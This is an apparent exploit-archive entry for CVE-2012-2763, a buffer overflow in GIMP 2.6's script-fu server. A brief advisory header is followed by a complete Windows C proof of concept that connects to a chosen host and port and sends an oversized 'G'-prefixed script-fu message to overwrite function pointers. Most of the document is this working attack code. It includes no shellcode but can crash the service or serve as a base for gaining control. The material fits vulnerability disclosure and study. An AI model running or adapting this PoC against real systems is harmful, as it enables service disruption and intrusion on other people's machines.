GIMP 2.6 script-fu < 2.8.0 - Buffer Overflow Vulnerability



# There is a buffer overflow in the script-fu server component of GIMP 

# (the GNU Image Manipulation Program) in all 2.6 versions (Windows and Linux
# versions) affecting both 
# the script-fu console and the script-fu network server. A crafted msg to the
# script-fu server overflows a buffer and overwrites several function pointers
# allowing the attacker to gain control of EIP and potentially execute
# arbitrary 
# code. This issue is fixed in the latest, stable GIMP version (currently 2.8.0).
#
# CVE number: CVE-2012-2763
# Impact: high
# Vendor Homepage: http://www.gimp.org/
# Date found: 18/05/2012
# Found by: d of Reaction Information Security
# Homepage: http://www.reactionpenetrationtesting.co.uk


====
POC
====


////////////////////////////////////////////////////////////////
//                                                              //
// PoC for GIMP <= 2.6 Script-Fu server buffer overflow       //
// Author: Joseph Sheridan                      //
// Date: 20/05/2012                          //
//                                                              //
// compile with    cl scriptfubof.c /link wsock32.lib            //
////////////////////////////////////////////////////////////////

#define WIN32_LEAN_AND_MEAN
#include <winsock2.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
 
#define DEFAULT_PORT 10008
// TCP socket type
#define DEFAULT_PROTO SOCK_STREAM
void senddata();
void recvdata();
WSADATA wsaData;
SOCKET  conn_socket;
char Buffer[2000000];
char inBuffer[128];
    
void Usage()
{
    printf("Usage: scriptfubof servername portnumber\n");
    fflush(stdout);
    exit(1);
}
  
int main(int argc, char *argv[])
{
    
    // default to localhost
    char *server_name= "localhost";
    unsigned short port = DEFAULT_PORT;
    int i, loopcount, maxloop=-1;
    int retval;
    unsigned int addr;
    int socket_type = DEFAULT_PROTO;
    struct sockaddr_in server;

    if (argc < 3) {
        Usage();
    }
    
    if ((retval = WSAStartup(0x202, &wsaData)) != 0)
    {
       fprintf(stderr,"WSAStartup() failed with error %d\n", retval);
        WSACleanup();
        return -1;
    }
    
    //    Get portnum
    port = atoi(argv[2]);
    
    memset(&server, 0, sizeof(server));
    server.sin_addr.s_addr = inet_addr(argv[1]);
    server.sin_family = AF_INET;
    server.sin_port = htons(port);
 
    conn_socket = socket(AF_INET, socket_type, 0); /* Open a socket */
    if (conn_socket <0 )
    {
        fprintf(stderr,"Client: Error Opening socket: Error %d\n", WSAGetLastError());
        WSACleanup();
        return -1;
    }
    
    if (connect(conn_socket, (struct sockaddr*)&server, sizeof(server)) == SOCKET_ERROR)
    {
        fprintf(stderr,"Client: connect() failed: %d\n", WSAGetLastError());
        WSACleanup();
        return -1;
    }
 
    // Send the data
    senddata();

    // recieve a msg
    recvdata();
    
    closesocket(conn_socket);
    WSACleanup();
 
return 0;
}

void senddata() {

    int loopcount = 0, retval =0;
    unsigned char command[]="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
        
    
    Buffer[0]='\x47'; //Magic byte 'G'
    Buffer[1]=sizeof(command)/256; //High byte of L - L div 256
    Buffer[2]=sizeof(command)%256; //Low byte of L - L mod 256
    strcpy(&Buffer[3],command);
    
    retval = send(conn_socket, Buffer, sizeof(command) +3, 0);
    if (retval == SOCKET_ERROR)
    {
        fprintf(stderr,"Client: send() failed: error %d.\n", WSAGetLastError());
        WSACleanup();
        return;
    }
    else
      printf("Client: send() is OK.\n");
    printf("Client: Sent data \"%s\"\n", Buffer);
    
}

void recvdata() {
    int i=0;
    int retval=0;
    memset(inBuffer,0,128);
    
    retval = recv(conn_socket, inBuffer, 128, 0);
    printf("retval is :%d\n", retval);
    printf("first char is: %x\n", inBuffer[0]);
    if (retval == SOCKET_ERROR)
   {
        fprintf(stderr,"Client: recv() failed: error %d.\n", WSAGetLastError());
        closesocket(conn_socket);
        WSACleanup();
        return;
    }
    else {
        printf("Client: recv() is OK.\n");
        
        // print the message contents...
        
        for (i=0;i<retval;i++) {
            printf("%c", inBuffer[i]);
            
        }
        printf("\n");
        fflush(stdout);
   }

}